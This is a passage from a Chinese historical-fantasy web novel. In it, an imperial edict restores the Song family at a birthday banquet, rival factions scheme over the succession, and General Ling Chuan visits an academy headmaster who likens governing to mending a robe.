圣旨之上,父亲、大哥、四弟皆得重用,前程似锦,唯独他这个曾经汲汲营营、试图攀附黄家的人,不仅竹篮打水一场空,更是在众目睽睽之下被父亲亲手逐出家门,名字从族谱上无情抹去。 巨大的落差与悔恨如同毒蛇啃噬着他的心,他只能露出一抹比哭还难看的苦笑,喃喃自语:“造化弄人……真是造化弄人啊……” 现场其他与宋家交好或依附宋家的宾客,此刻也都是满脸激动,甚至有人悄悄抹去眼角的湿润,宋家的重新崛起,如同在阴霾笼罩的朝堂中投下了一束光。 这意味着,他们从此有了坚实的依靠,再也不必终日提心吊胆,看黄党、齐党的脸色行事,不必再那般窝囊憋屈、如履薄冰!一种扬眉吐气的畅快感在众人心中激荡。 而与这热烈气氛形成鲜明对比的,是黄英弘与安济那难看到了极点的脸色。 他们万万没想到,皇帝会在此刻抛出这样一道石破天惊的圣旨! 这分明是针对黄党与齐党近期的嚣张气焰,所发出的最强有力的制衡信号。 再联想到近日神都内暗流涌动的清洗行动,一股强烈的不安感迅速蔓延,必须立刻将此事禀报父亲,早做应对。 “诸位,平身吧!”凌川收起威严,语气平和地示意道。 众人这才纷纷起身,宋家众人簇拥着老爷子,个个眼眶通红,激动之情溢于言表。 宋砚声却猛地扑到宋鹤年脚边,抱住父亲的腿,痛哭流涕地哀求:“父亲!父亲!儿子知道错了!儿子是鬼迷了心窍,可……可儿子也是一心想着重振宋家啊!求求您,看在父子情分上,网开一面,别赶我走!别赶我走啊!” 宋鹤年垂下目光,眼神复杂地扫过这个不争气的儿子,最终化为一片冰封的决绝。 他转向身旁的老管家,沉声问道:“族谱,取来了吗?” “在呢,老爷!”老管家连忙将一个红木托盘奉上,托盘内,正是那本承载着宋氏数百年荣耀与传承的厚重族谱,旁边一方砚台墨迹未干,一支狼毫笔静静搁置。 宋老爷子将圣旨郑重交给长子宋敬芝保管,随即毫不犹豫地拿起那支狼毫笔,饱蘸浓墨,在族谱找到宋砚声及其子女名讳的那一页,手腕稳定,毫不留情地划下了数道浓黑的墨线。 笔墨从族谱上划过,发出微不可察的声响,却如同利刃割裂绸缎,也彻底斩断了宋砚声最后的希望。 “管家,送客!”老爷子将笔掷回托盘,声音冷硬如铁,不再看地上瘫软如泥的宋砚声一眼,转身朝着凌川和苏璃所在的那一桌走去。 老管家看着面如死灰、失魂落魄的宋砚声,无奈地轻叹一声,低声道:“三少爷,老爷正在气头上,您还是先出去避避风头吧。说不定等过些时日,老爷气就消了。” 宋砚声仿佛什么都没听见,只是痴痴地看着族谱上那几道刺目的墨痕,整个人如同被抽走了灵魂。 在来时的路上,凌川就看了圣旨的内容,当时心中就很疑惑,为何唯独没有对三方宋砚声的封赏,现在他才明白,陛下显然是早就知道宋砚声与黄家走得近的消息。 好在宋老爷子对老三宋砚声丝毫没有姑息,要不然,消息传到圣上耳朵里,难免会引发变数。 宋老爷子与宋敬芝来到凌川桌旁,苏璃连忙起身,乖巧地为外公拉开椅子。 老爷子缓缓坐下,目光平静地看向仍留在原地、脸色变幻不定的黄英弘,语气淡漠地问道:“两位公子,是要留下来,尝尝老朽的寿宴呢?还是尽快回府,给家人报个‘平安’?” 黄英弘脸色一阵青一阵白,他强忍着屈辱,起身对着宋鹤年草草拱手行了一礼,声音干涩:“宋老爷子,这寿宴,我们就不叨扰了!告辞!”说罢,便与安济转身欲走。 “慢着!” 凌川的声音再次响起,不高,却带着一股不容置疑的力量。 黄英弘脚步一顿,缓缓转过身,眼神阴鸷地盯着凌川,从牙缝里挤出几个字:“凌将军,还有何指教?” 凌川看都没看他,只随手一挥衣袖,动作潇洒飘逸。 只见桌上那枚象征着极致羞辱的残破玉琀,仿佛被无形之力牵引,‘嗖’的一声疾射而出,不偏不倚,正中黄英弘的胸口,随即滑入他的衣襟之中! “砰!” 一声闷响,黄英弘猝不及防,被那蕴含真气的玉琀打得胸口剧痛,脚下踉跄着连退两步,脸色瞬间变得惨白如纸。 他强忍着钻心的疼痛和滔天的怒火,死死盯着凌川,几乎是从喉咙深处发出低吼:“凌川!今日之耻,我黄英弘记住了!” 凌川这才缓缓抬起眼眸,带着毫不掩饰的轻蔑与嘲讽,冷冷地吐出几个字: “辱人者,人恒辱之!” 二人满脸傲然前来,本想羞辱宋家,没曾想非但未能如愿,反倒是碰了一鼻子的灰,灰溜溜地离开。 而随着凌川带来的这道圣旨,宋家这棵即将枯死的古树再次焕发生机,寿宴现场的气氛也随之变得欢快,一个个满脸笑意,看向凌川二人的目光中,更是写满了感激与敬重。 第一卷 第487章 胖了 不多时,在一众女眷的簇拥下,宋老夫人被小心翼翼地搀扶出来。 老人家年事已高,眼神已不太好使,甫一出现便急切地四处张望,伸手向前摸索着,声音带着颤巍巍的期盼:“小璃呢?我的小璃在哪儿?快让外婆好好看看!” “外婆,小璃在这里!”苏璃闻声,立刻从座位上起身,快步迎了上去,一双纤手轻柔而坚定地握住老夫人布满皱纹的手。 “我的小璃……你受苦了!”老夫人凑近仔细看了又看,说道:“胖了!” 这突如其来的转折,让原本眼眶泛红的苏璃险些没憋住笑,心中又是温暖又是酸楚。 她连忙搀扶着老夫人,柔声道:“外婆,您快坐下说话!” 这时,凌川也主动起身,来到老夫人跟前,恭敬地行了一礼,声音清朗:“外孙女婿凌川,见过外婆!” “好好好!”老夫人连连点头,示意凌川坐下,说道:“你的事迹我都听说了,年轻有为,小璃能遇到你,那是她的福分!” 宋老夫人虽老眼昏花,行动迟缓,但言谈举止间,那份沉淀了数十年的世家主母的端庄与气度犹在。 很快,正式的寿宴环节开始。 宋敬芝与宋云舟各自带着妻儿,按长幼之序,恭恭敬敬地向老寿星奉茶祝寿。 随后,凌川与苏璃也携手上前,奉上香茗,表达晚辈的敬意与祝福。 老爷子今日心情显然极好,面对络绎不绝上前敬酒的宾客,饶是他一向注重养生、不喜饮酒,今日也破天荒地浅酌了一杯,苍老的面容上泛着红光。 除了向寿星公敬酒,许多宾客也纷纷向刚刚被委以重任的宋敬芝和宋云舟两兄弟举杯道贺,言语间充满了对宋家重新崛起的欣喜与对未来朝局的期待。 自然,也有不少人将目光投向了凌川这位陛下眼前的红人、北疆归来的英雄,前来敬酒、攀谈者络绎不绝。 凌川从容应对,举止得体,既不显得傲慢,也不过分谦卑,分寸拿捏得恰到好处。 更有不少对北疆战事充满好奇的官员,趁机向他打听起塞外风光与破敌细节。 凌川也未拒绝,挑选了几场关键且不涉及机密的战事,娓娓道来。他言语简练,并未刻意渲染,但众人却屏息凝神,时而抚掌惊叹。 寿宴持续了近两个时辰,直至申时末,宾客们才相继心满意足地散去。 苏璃被老夫人拉着去内室说体己话了,凌川则被宋老爷子叫到了书房。 宋老爷子的书房古朴而宁静,充满了岁月沉淀的气息,四壁书架顶天立地,藏书上至经史子集,下至地方志异,种类繁多,却都摆放得井井有条,一尘不染,显是经常被打理。 凌川刚踏进书房,目光便被正面墙壁上悬挂的一幅字吸引住了。 那上面笔力遒劲地书写着四句话,正是出自他口的‘乾坤四训’,凌川心中不由得泛起一丝无奈的苦笑,没想到连宋老爷子这等学问大家,竟也将这来自另一个世界的思想奉为圭臬,亲自书写悬于壁上。 但转念想到横渠四句在原世界那震古烁今的思想地位与影响力,他便也不觉奇怪了。 宋老爷子也正望着那幅自己亲手所书的字帖,尽管内容早已烂熟于心,倒背如流,但每次凝视,内心依旧会涌起难以言喻的澎湃与敬仰之情。 “老夫四岁启蒙,寒窗数十载,自认读遍了圣贤书,通晓古今兴衰之理。”宋老爷子声音低沉,带着一丝感慨,“可当我初次见到这四句话时,才恍然惊觉,自己这几十年的书,都白读了!竟从未有过如此宏大而纯粹的志向!” 他缓缓抬起目光,灼灼地看向凌川,眼神复杂:“若非消息是从云书阑那等人物口中传出,老夫至今都不敢相信,这等足以照耀千古、为天下读书人立心的圣贤之言,竟是出自你这样一个年仅十七八岁、常年征战沙场的武将之口!” 凌川一时间不知该如何接口,心中暗呼惭愧。 他总不能直言这是来自另一个位面先贤的智慧吧?且不说对方是否会相信,这等惊世骇俗的秘密一旦公开,势必会给自己带来无穷无尽的麻烦。他只得微微垂首,含糊地应道:“外公过誉了,晚辈只是,偶有所感!” 就在这时,一名下人悄轻声进来,为二人奉上热茶,又悄然退下。老爷子示意凌川坐下,自己也端起茶杯,轻轻拨弄着浮叶,看似随意地问道:“你……见过陛下了?” 凌川没有隐瞒,点头道:“是,昨晚陛下召见了晚辈!” 宋老爷子作为历经风波的三朝老臣,深知宫中规矩,并未追问具体谈话内容,只是轻轻嗯了一声。 “陛下此举,你怎么看?”老爷子放下茶杯,目光变得锐利起来,他问的,自然是皇帝突然大力扶持宋家,甚至不惜打破朝堂平衡的举动。 凌川略一沉吟,答道:“明眼人都看得出来,这是陛下要用宋家来制衡乃至抗衡黄党与齐党,打破文官集团一家独大的局面!”他顿了顿,语气转为凝重,“可晚辈觉得,陛下的深意,恐怕不仅仅在于制衡这么简单!” “自然不会如此简单!”宋老爷子神色平静,仿佛早已洞悉一切,“此举更深一层,关乎到陛下立储的选择!” “立储?”凌川神色微动,露出一丝恰到好处的惊讶。 他虽有所猜测,但由宋老爷子亲口点破,分量自是不同。 宋老爷子点了点头,发出一声悠长的叹息:“自小璃的父亲被他们联手扳倒之后,朝中敢于直言的武臣势力便一落千丈,文官集团就成了朝堂之上唯一的声音。文官集团的黄党看似与外戚齐党有所分歧,实则也是一丘之貉,他们的政见分歧,更多是源于背后支撑的储君人选不同!” “黄党一直支持的,是皇后所出的皇长子。而齐党的话事人齐清远,支持的则是他的亲外孙,齐贵妃所出的二皇子。陛下需要平衡这两股庞大的外戚与文官势力,故而才将立储之事一拖再拖。” 老爷子端起茶杯,呷了一口,继续道,“如今,陛下或许觉得,时机快要到了!” 第一卷 第488章 储位之争 “您的意思是,陛下会在近期宣布立储?”凌川追问道。 “之前,老夫也只是猜测,尚不确定。但近两日神都这场毫无征兆、却又雷厉风行的清洗,让老夫确信了陛下的意图与决心!”他顿了顿,强调道,“或者说,这只是陛下宏大意图中的一步而已!” “那……外公觉得,陛下心中属意的,会是谁?”凌川试探着问道。 宋鹤年闻言,却只是意味深长地笑了笑,摆了摆手:“莫要妄自揣测圣意。况且,有些事,即便心中有所猜测,也只能装作不知,看破不说破,方是立身之道!” 他轻叹一声,将话题引回凌川身上:“陛下此次召你回京,举行所谓的授封大典,或许只是一个由头。真正的目的,恐怕是想用你这枚刚刚从北疆血火中归来的过河卒,来彻底搅动神都这潭深水,打破现有的僵局!” “你,就像是一把钥匙。”宋老爷子的声音低沉而有力,“从你踏入神都的那一刻起,一台沉寂已久、却关乎国本的巨大机关,便已经开始缓缓运转。如今,任何人,包括陛下本人,恐怕都无法让它轻易停下了。近两日的清洗,看似声势浩大,实则……或许只是这场即将到来的风暴的前奏,是冰山初露的一角。真正的狂风暴雨,还在后面。” 他的眼神变得无比凝重:“为了这一天,无论是黄千浒,还是齐清远,都已然谋划、经营了太久,布下了不知多少暗棋。而陛下……同样也隐忍、布局了多年。这是一盘牵动天下、赌上国运的大棋,在最终分出胜负之前,谁也不敢断言,执棋之人,谁能笑到最后。” 凌川顿时明白,如果说,三年前苏大将军以身入局,为这盘大棋落下了第一子,那么无论是宋家,还是自己,都是棋盘上的棋子。 这一番密谈,持续了整整一个时辰。 书房内烛火摇曳,一老一少的身影映在窗纸上,直至夜幕低垂,华灯初上,凌川才起身告辞。 宋敬芝亲自将二人送到府门外,态度比之初见时更为亲切郑重。 凌川与苏璃拜别舅父,登上马车,带着洛青云与一众护卫,缓缓融入神都深沉的夜色之中。 马车在青石板上辘辘前行,刚离开宋府不远,夜色中便见沈珏策马靠近车窗,压低声音禀报道:“将军,风雪楼刚传来密报!” “说!”凌川目光一凝,沉声道。 “已查明,昨夜行刺的刺客,正是大和使团那名高手,孤冥!”沈珏的声音带着一丝冷意。 凌川闻言,眼中寒光一闪,微微颔首:“知道了,继续盯着他们!” …… 皇宫,御书房内,灯火通明,却驱不散那股沉重的压抑感。 皇帝周承渊独自坐在御案之后,手指无意识地敲击着光滑的桌面,目光死死锁定在摆在面前的那块质地温润、却仿佛带着血腥气的玉牌上,眉头紧锁。 阎鹤诏如一尊铁铸的雕像,恭敬地肃立在下方,目光低垂,气息收敛到了极致,仿佛与阴影融为一体。 死寂在空气中蔓延,不知过了多久,皇帝终于开口,声音带着一丝不易察觉的疲惫与沙哑:“老大招了吗?” 阎鹤诏头颅微垂,回答道:“回陛下,没有!” “此事,你怎么看?”皇帝抬起目光,射向阎鹤诏。 “臣……不敢妄自揣测!”阎鹤诏的声音平稳无波,听不出任何情绪。 皇帝的目光骤然锐利起来,带着一种审视与压迫:“世人都称你是活阎罗,铁面无私,杀伐果断。怎么?去北疆待了三年,你心中的那股傲气,后背的那根脊梁骨都软了?” 不等阎鹤诏回答,皇帝继续冷冷说道:“三年前,满朝文武,包括丁爻在内,都告诉朕,你是执掌廷尉府、整肃纲纪的不二人选!朕又不瞎不傻,岂会不知?” 他身体微微前倾,盯着阎鹤诏,“朕之所以坚持将你调往北境,其深意……你应当明白!” “臣,明白!”阎鹤诏抱拳,声音依旧沉稳。 “明白?朕看你是不明白!”皇帝陡然提高声调,厉声喝道,“你当初可是在朕的面前立下过誓言!你说你阎鹤诏眼中,只有大周律法!无论涉案的是朝堂重臣,还是皇亲国戚,只要触犯律条,你都会一查到底,将其缉拿归案!如今,事情牵扯到朕的儿子,你就怕了?畏首畏尾了?还是说,你已经将当年掷地有声的誓言,忘得一干二净了?” “臣,没忘!”阎鹤诏猛地抬起头,目光如炬,与皇帝对视了一眼,随即又迅速垂下,但那份坚定却已表露无遗。 他深吸一口气,仿佛下定了某种决心,说道:“臣见过大皇子了,那块玉牌确实是他的,但他却没去过大和使团的驿馆!” “你确定?”皇帝目光如鹰隼般锁定他,一字一顿地问道。 “确定!”阎鹤诏的回答斩钉截铁,没有丝毫犹豫。 皇帝闻言,不再追问。 他了解阎鹤诏,此人或许冷酷,但从不说无把握之言,他既然敢如此肯定,必然已掌握了确凿的证据,排除了大皇子亲临现场的可能。 “那你觉得会是谁?”皇帝的目光深沉如海,再次问道。 阎鹤诏略微停顿,似乎在斟酌措辞,随后才缓缓开口:“臣怀疑是二皇子!不过眼下还没证据!” 对于这个答案,皇帝脸上并未露出太多惊讶之色。 朝堂之上那些老狐狸,定是早已嗅到了他欲立储君的风声。 这些年来,大皇子与二皇子表面兄友弟恭,背地里为了那东宫之位,早已不知交锋了多少回合,他们身后所代表的黄党与齐党势力,更是针锋相对,势同水火。 如今,眼看已到了最关键的时刻,双方自然会不遗余力,甚至不惜亮出底牌,欲将对方置于死地。 皇帝略一沉吟,眼中闪过决断之色,“即日起,由你正式接管廷尉府,全权负责此案!朕给你三天时间,三日之内,朕要一个答案!” “臣,遵旨!”阎鹤诏抱拳领命,不再多言,转身大步离去,玄色官袍的下摆在空中划出一道冷硬的弧线。 第一卷 第489章 许一流 与此同时,大皇子周苍的轿辇再次停在了首辅府邸门前。只是这一次,他连黄千浒的面都未能见到。 “殿下!”首辅府的老管家躬身站在轿外,语气恭敬却带着疏离,“首辅大人今日身体欠安,实在不便见客,不过,大人让老奴转告您一句话。” “讲!”周苍的声音从轿内传出,带着一丝不易察觉的焦躁。 “首辅大人说:陛下乃圣明之君,洞察秋毫。在此关键时刻,殿下您……什么都不用做,只需安心待在府上,静观其变,静静等待即可!” 老管家说完,再次躬身,随即转身返回府内,紧闭大门。 周苍在轿中沉默了许久,轿帘纹丝未动。最终,他只沉沉说了一句:“回府!” 琬宸宫内,气氛同样凝重得让人喘不过气。 一名年约二十、身着皇子常服的年轻男子,正跪在冰凉的金砖地面上,额头紧紧抵着地面,身体因恐惧而控制不住地微微颤抖,正是二皇子周云。 在他正前方,一名身着宫装、容颜华贵端庄的中年女子面罩寒霜,正是当今圣上最宠爱的齐贵妃。 而与她对坐的,是一位须发皆白、面容清癯的老者,眼神深邃,不怒自威,正是齐贵妃之父,文渊阁大学士齐清远。 “你这个不成器的蠢货!”齐贵妃猛地一拍桌案,精致的护甲与桌面碰撞发出清脆的响声。 她怒声斥道,“谁让你私自行动的?你以为你做得神不知鬼不觉?在廷尉府和通天卫那群鹰犬面前,你这点自作聪明的小伎俩,简直可笑至极!” 周云跪在地上,连头都不敢抬,大气也不敢喘一口。 终于,一直沉默不语的齐清远缓缓放下了手中的茶杯,发出轻微的磕碰声,他目光扫过跪在地上的外孙,眼神中充满了失望与冰冷。 “移祸江东,想法不算太差!”齐清远的声音平淡,却带着刺骨的寒意,“可惜,你太嫩了,画虎不成反类犬,不仅没能成事,反而授人以柄,将祸水引到了自己身上!” “父亲,现在……现在可怎么办才好啊?”齐贵妃转向自己的父亲,脸上写满了焦急与惶恐。 齐清远没有立刻回答,只是再次失望地看了一眼周云。 他原本已布好棋局,静待时机,却被这个沉不住气的外孙全盘打乱,如今反而将己方置于极其被动的境地。 若非指望着他能登上太子之位,延续齐家荣耀,这位老谋深算的大学士,此刻真想把这个不正气的东西暴走一顿。 许久,齐清远才缓缓站起身,整理了一下衣袍,声音恢复了平日的沉稳,却带着不容置疑的决断:“这几日,让殿下待在自己的住处,哪里都不要去,什么人也不要见。外面的事情,我自会处理!” 丢下这句话,他便不再多看那对母子一眼,迈着沉稳的步伐,径直离开了琬宸宫。 次日清晨,刘恩赐向正在晨练的凌川传达了一道口谕。 “将军,陛下有旨,今夜将在明德殿设宴,接见大和使团和文武百官。陛下特意交代,请您着甲前往!” 听到这个消息,凌川眼中闪过一丝诧异。 接见外邦使团虽是常例,但特意指明让他这位边军将领身着甲胄赴宴,其中意味,就颇值得玩味了。 至少,这绝不会是一场简单的宾主尽欢的夜宴。 “末将领旨!”凌川沉声应下。 今日既然无事,凌川便起了去神都书院看一看的念头。 王府距离书院并不算远,凌川并未骑马,只是换了一身简便的常服,带着洛青云一人,信步朝着那座闻名天下的学府走去。 神都书院,与国同寿,地位超然。 通常情况下,寻常百姓乃至一般官员,都不得随意进出这片学术圣地,而书院内的弟子也大多潜心修学,鲜少在外走动。 这重重规矩,更为这座古老的书院平添了几分神秘气息。 原本凌川以为,书院定然是大门紧闭、戒备森严,然而当到来之后,才发现,书院根本就没有门,只见一片光洁石壁上刻着一副对联: 万卷藏胸,敢以丹心匡社稷 一官在手,常将素志对苍生 横批:浩气长存 “这是第一任院长开创书院的时候写下的一副对联!”洛青云介绍道。 凌川点了点头,他不懂对联,但却能感受到写下这副对联之人那种心怀天下苍生的情怀。 前方是一片高低起伏的石山,一棵棵古枫生长在石缝中,不少枫叶已经红了,随风飘落而下。 透过树林,隐约能见到几段翘角飞檐,还能听到若有若无的琅琅书声。 “真好!”凌川轻声说道。 正当凌川还在犹豫,要如何能进入书院的时候,一名年轻书生从书院里边走了出来。 那书生年纪比凌川还要小一两岁,面容清秀,一桌朴素,径直来到凌川面前,拱手行了一礼:“请问可是镇北将军?” 凌川点头回礼道:“在下凌川!” “将军请随我来!”书生说完,转身朝着书院走去,凌川虽有些疑惑,但还是跟了上去,示意洛青云在外等候。 一条石阶小道径直通往石山之上,年轻书生走在前面,凌川则是打量着周围的环境,这一路走来,石壁上到处都是碑文,有的年代已久,早已模糊,有的显然是近些年才刻上去的。 走了一段之后,凌川忍不住问道:“小兄弟是书院学子?” “小生许一流,蜀州人氏,两年前进入书院!”年轻书生回答道。 “须知少日拏云志,曾许人间第一流!”凌川点头称赞道:“好名字!” 少年书生则是青涩一笑,说道:“将军说笑了,小生出身贫寒,能进入书院已是祖上积德,可不敢奢望其它!” “你既然能有幸进入书院读书,那你就应该想办法让更多跟你一样的人,也能读到书,人活着,总得做点有意义的事情!”凌川语气平淡,可许一流的身体却不由得一颤。 只见许一流目光真诚地看着他,问道:“敢问将军,读书真的有用吗?” 第一卷 第490章 读书何用? 许一流的目光中带着迷茫与忧虑,那是一种源于对自身价值与时代命运的叩问。似乎想从这位传奇人物口中,寻得一丝精神的依归。 “谁说读书无用?”凌川迎上他的视线,声音沉稳而笃定:“万般皆下品,惟有读书高,此言不虚。” “可也有人说……百无一用是书生!”许一流唇边泛起一丝苦涩的笑意,追问道:“若真有社稷倾覆、神州陆沉那一日,吾辈书生,手无寸铁,又能做什么?” 凌川脚步倏然停顿,正色凝视眼前这个神情彷徨的年轻书生。秋风拂过,卷起几片火红的枫叶,在二人之间打着旋儿,更添几分肃穆。 凌川的声音不高,却字字清晰,“军人执戈,保的是锦绣山河、万里青岳,是眼前看得见的疆土与黎民;而书生执笔,守的则是千秋文脉、天下道义,是人心深处不可磨灭的文明火种!” 他目光掠过远处神都繁华的街景,继续说道:“若社稷当真倾覆,我辈战兵自当血染沙场,以血肉之躯筑为城墙,护国土与百姓周全。这是军人的宿命,亦是军人的荣耀,死得其所,万死不悔!” 话音一顿,他的目光重新落回许一流身上,变得格外深沉:“但你们读书人要守护的,是这天地间的一口浩然正气,是史册之上的公道人心,是文明得以延续的根脉。刀剑可以攻城略地,铁骑可以踏破山河,却夺不走人心中的是非曲直,斩不断代代相传的圣贤道理。即便山河破碎、国祚崩塌,只要还有读书人在秉笔直书、在传道授业、在危难之际挺身而出,坚守那份正义与良知,这个民族的精神脊梁就不会折断,终有重生之日!” 他略作沉吟,语气稍缓:“相传,昔年有位文丞相,虽是一介文弱书生,却胸怀天下,一身正气充盈天地。即便身陷囹圄,亦矢志不渝,慷慨写下《正气歌》。其声虽微,却能穿越百年千年,激励后世无数仁人志士,在至暗时刻挺起胸膛!” 凌川的声音愈发铿锵,如金石相击,在寂静的山道上回荡,“哪怕时隔千载,其浩然正气,依旧能贯日月,立天地,成为维系人伦纲纪的命脉,成为支撑道义的根本。这,便是读书人的力量!看似柔弱无锋,实则至大至刚,坚韧不绝,绵延无尽!” 许一流静静地听着,眼中的迷茫如晨雾般渐渐散去,取而代之的是一种被点燃的星火,越来越亮,仿佛有某种沉睡的力量正在他心底苏醒。 凌川最后说道,语气斩钉截铁:“他日若真到了神州陆沉、风雨如晦之际,若天下读书人皆能记起那位心怀浩然、身具铁骨的文丞相,到那时,你们手中所执的笔,便是这世间最锋利的剑!” 许一流深吸一口气,对着凌川深深一揖,神色无比庄重:“恕小生孤陋寡闻,此前确未听闻这位先贤事迹。然,将军今日一席话,如醍醐灌顶。请将军放心,吾辈书生,必当以文丞相为楷模,穷毕生之力,护佑民族文脉,传承文明星火,虽九死其犹未悔!” 凌川看着他眼中燃起的坚定光芒,满意地点了点头,二人继续拾级而上,顺着蜿蜒的青石小道走向书院深处。 然而,凌川很快发觉,许一流引领的路径并非通往前方书声琅琅的讲堂学舍,而是一路向着后山幽静处行去,最终在一座古意盎然的木塔前停下脚步。 “将军,院长大人就在塔上,您自行上去便可!”许一流停下脚步,转身对凌川说道。 其实,自许一流出现在书院门口相迎时,凌川便已猜到,这定然是那位神秘院长的安排,否则,他在这白鹿书院中并无相识。 “有劳了!”凌川拱手还礼。 许一流再次对着凌川躬身一礼,姿态谦逊而真诚:“将军今日教诲,小生铭刻于心。必当以苍生为念、以社稷为重,不负平生所学!” 凌川轻轻拍了拍他的肩膀,未再多言,心中却有一种直觉,眼前这位出身寒微却心怀天下的年轻读书人,将来必能在青史之上,留下属于他自己的、浓墨重彩的一笔。 目送许一流的身影缓步消失在苍翠的石阶之下,凌川这才转身,细细打量眼前这座矗立于石山顶端的木塔。 此塔便是神都书院闻名遐迩的藏书塔,飞檐斗拱,木质结构呈现出经年累月的深褐色,透出一种沉静而渊博的气息。 凌川收敛心神,举步踏入塔中。 塔内一层极为开阔,林立的书架直抵穹顶,其上密密麻麻摆放着难以计数的典籍,墨香与旧纸特有的味道淡淡弥漫在空气中。 粗略观之,藏书何止十万卷,不少书生学子或盘坐于蒲团之上,或静立于轩窗之侧,俱是凝神翻阅,心无旁骛。无人诵读出声,唯有书页翻动的沙沙轻响,更显此地静谧庄严。 这些学子中,有的身着粗布麻衣,浆洗得发白,一望便知出身清寒;亦有锦衣华服者,气度不凡,显是来自官宦世家或商贾豪门。 见到凌川进来,近处几人皆放下书卷,拱手无声见礼,目光中带着好奇与敬意,凌川亦点头示意,步履不停,沿着侧边的木梯向二楼走去。 二楼的格局与一层迥异,书架不再那般密集拥挤,空间疏朗了许多,典籍也更为古旧珍贵。 寻常书院弟子并无资格随意登临二楼,唯有每十日,方有轮值弟子奉命上来洒扫整理。 而每次打扫完毕,可借阅藏书一册作为奖励,限期十日归还。此时,正有几名年轻弟子轻手轻脚地擦拭书架、整理典籍,见到凌川上来,纷纷停下手中活计,恭敬行礼。 凌川亦未托大,一一郑重还礼。 目光扫过二楼,凌川忽然微微一怔,只见三皇子周灏竟也在此处,他正立于一个书架前,手指轻轻拂过书脊,神情专注。 “凌川见过三殿下。”凌川主动上前,抱拳见礼。 三皇子周灏闻声转头,脸上露出亲和的笑容,拱手还礼道:“凌将军不必多礼,院长知你今日必至,特命我在此相候,带将军上楼!” “有劳殿下!”凌川心中了然。 第一卷 第491章 院长的针线活 藏书塔的第三层更为宽敞通透,八个巨大的紫檀木书架按八卦方位摆放,暗合玄理。 中央处设有一张矮几,几个素色蒲团随意放置,矮几上,一只小巧的红泥火炉正咕嘟咕嘟地煮着一壶清茶,白气袅袅,茶香四溢,刚踏上三楼,那沁人心脾的香气便扑面而来。 然而,最引人注目的,却是盘坐在矮几旁的那道身影。 那是一名男子,鹤发童颜,满头发丝银亮如雪,寻不出一根杂色,可面庞却光洁饱满,不见一丝皱纹。 更令人惊异的是,他此刻竟光着上身,手持针线,正神情专注地缝补一件叠放在膝头的旧布衫。 那裸露的脊背与臂膀,肌肉线条流畅而结实,皮肤紧致,毫无寻常老者那般松弛之态,若非知道对方的身份,凌川几乎要以为眼前是一位年不及而立的青年。 “院长,凌将军到了!”三皇子周灏对着那身影,高高拱手,躬身禀报,态度极为恭敬。 “晚辈凌川,见过院长大人!”凌川也压下心中诧异,依礼参见。 “坐吧,茶水已沸,自便即可。等我缝完这几针!”那白发男子并未抬头,只淡淡应了一声,声音磁厚,不显苍老,却带着一种历经沧桑后的沉静。 凌川依言来到他对面的蒲团前,整了整衣袍,盘膝坐下。 三皇子周灏则恭谨地侍立一旁,主动执起红泥小火炉上已然沸腾的茶壶,先为院长,再为凌川,各自斟了一杯清茶。 茶汤澄碧,热气氤氲,带着独特的清香,在静谧的塔室内弥漫开来。 而恰在此时,院长也终于缝完了最后一针,他用牙齿咬断线头,随后放下针线,打量着自己刚打了一个补丁,眼神中甚是满意。 只见他站起身,双臂一展,将那件几乎遍布补丁、却浆洗得干干净净的布衫抖了抖,随即从容穿上。 整个过程并无刻意,但系带、抚平褶皱,每一个动作都一丝不苟,仿佛这不是在穿衣,而是在进行某种庄严的仪式。 他重新落座,这才抬起目光,正式打量起眼前的年轻人。 他的眼神不像阎鹤诏那般锐利如刀、冰寒刺骨,也不似皇帝周承渊那般自带九五之尊的无形威压,反而更像是一面深秋的湖泊,表面波澜不惊,内里却深邃得难以测度。 然而,就在凌川凝神与之对视的刹那,那原本平静无波的‘湖面’骤然生变! 那双眸深处,仿佛瞬间裂开两个无形的巨大漩涡,幽深、浩瀚,带着吞噬一切意念与秘密的力量,直透凌川的心神。 凌川浑身神经瞬间紧绷,头皮一阵发麻,仿佛自己的灵魂都要被那漩涡吸摄而去。 他略显狼狈地移开了视线,不敢再与之对视。 可这位院长大人既未出言,也未收回那探究的目光,只是平静地注视着凌川略显窘迫的反应,这让凌川感觉如坐针毡,浑身上下每一个毛孔都透着不自在。 就在凌川几乎要被这无声的压力逼得起身告罪之时,院长终于几不可察地点了点头,唇角微扬,说出了一句让凌川险些岔气的话:“确实生得俊朗,眉宇间自有英气,颇有几分我年轻时的风采!” 凌川内心一阵无言,方才那仿佛能洞穿灵魂的对视,竟只是为了评判他的容貌? 他自然不会天真地认为,这位被传得神乎其神的书院院长,会如此肤浅无聊,此举背后,定有深意,或许是一种另类的试探,或许是他性情使然的玩笑。 院长不再多言,端起面前那杯温热的茶水,浅浅喝了一口,随即微微蹙眉,似有些意兴阑珊:“这清茶喝得久了,愈发觉得寡淡无味!” 随即抬手指了指不远处一个靠墙的书架,对侍立的三皇子周灏吩咐道:“去,把我藏在《山河舆图志》后面的那坛酒取来!” 他转而对凌川淡笑着说道:“昨日,一位朋友前来探望,特意给我带了一坛好酒,今日正好,请你一同尝尝!” 然而,当三皇子周灏小心翼翼地将那个古朴的粗陶酒坛搬过来,置于矮几之上时,凌川的眼神顿时变得古怪起来。 因为他一眼认出,这正是自己从北疆带回来的狼血。 “院长大人口中的这位朋友,莫非是杨剑神?”凌川尽管心中已猜出八九分,还是忍不住出声确认。 院长并未直接回答,而是示意三皇子将其打开,顿时,一股浓烈、淳厚中带着些许腥甜气息的酒香立刻逸散出来。 “说是朋友,其实并不恰当!按辈分算,那小家伙跟我差着辈儿呢!” 听到这话,凌川内心顿时掀起波澜。 他虽然不确定杨铁匠的具体年岁,但粗略计算,至少也是花甲往上的老人。 可眼前这位院长,面容宛如青年,竟称名震天下的剑神杨斗重为小家伙,那他的真实年纪,究竟几何? 凌川按下心中震惊,笑道:“杨剑神可比不了院长,他现在就是邋里邋遢的老头,院长却面如冠玉,还能干针线活!” “若要论这副皮囊,天下间确实没几人能与我相较!”院长语气平淡,仿佛在说一件微不足道的小事,“但若要论江湖风流,却也没几个人能比得上他杨斗重!” 他话锋微转,将话题引回了方才的针线活上,眼神中透出睿智的光芒:“你可莫要小看了这针线活。治国理政,其实与缝补衣物颇有异曲同工之妙!” “如果说,将帝国王朝比作一件衣服,那治国理政之人便是手持针线的缝补匠,哪里有灾患需要治理,哪里有反叛需要镇压,哪里有战事需要粮草,都在这一针一线之间……” 他端起酒杯,却未急着喝,继续阐述:“针线活做得好,既能补齐漏洞,还能让衣服看起来跟新的一样,既有了里子,还保全了面子,或稍次一点,无非是里子面子保其一,但如果不会缝补,这破洞会越来越大,最终只能光溜溜……” 